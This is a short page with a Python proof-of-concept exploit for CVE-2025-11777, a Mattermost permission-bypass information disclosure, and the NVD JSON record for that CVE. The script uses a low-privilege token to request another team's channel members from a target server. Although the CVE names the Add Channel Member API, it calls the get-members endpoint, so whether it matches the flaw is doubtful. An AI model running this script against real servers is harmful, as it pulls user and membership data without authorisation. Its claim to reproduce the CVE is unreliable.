CVE-2025-11777

import requests import json # CVE-2025-11777 PoC - Mattermost Cross-Team Information Disclosure # Target: Mattermost Add Channel Member API permission bypass BASE_URL = "https://target-mattermost-server.com" TARGET_CHANNEL_ID = "target_channel_id_from_other_team" AUTH_TOKEN = "your_auth_token_with_low_privilege" def exploit_cve_2025_11777(): """ Exploit: Improper team membership validation in Add Channel Member API This allows attackers to access user metadata and channel membership information from teams they don't belong to. """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Step 1: Attempt to get channel members from another team endpoint = f"{BASE_URL}/api/v4/channels/{TARGET_CHANNEL_ID}/members" response = requests.get(endpoint, headers=headers) if response.status_code == 200: members = response.json() print(f"[+] Successfully retrieved channel members: {json.dumps(members, indent=2)}") return members else: print(f"[-] Failed to retrieve members. Status: {response.status_code}") return None if __name__ == "__main__": print("CVE-2025-11777 PoC - Mattermost Permission Bypass") print("Target: Add Channel Member API - Team membership validation failure") exploit_cve_2025_11777()

{"cve": {"id": "CVE-2025-11777", "sourceIdentifier": "[email protected]", "published": "2025-11-13T18:15:49.393", "lastModified": "2025-11-17T18:05:07.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 10.11.x <= 10.11.3, 10.5.x <= 10.5.11 fail to properly validate team membership permissions in the Add Channel Member API which allows users from one team to access user metadata and channel membership information from other teams via the API endpoint"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.5.0", "versionEndExcluding": "10.5.12", "matchCriteriaId": "CCE1652A-13F7-4934-9F90-28129BAEE240"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.4", "matchCriteriaId": "2A1F41DC-D93D-48A7-8A3B-623C3344E979"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}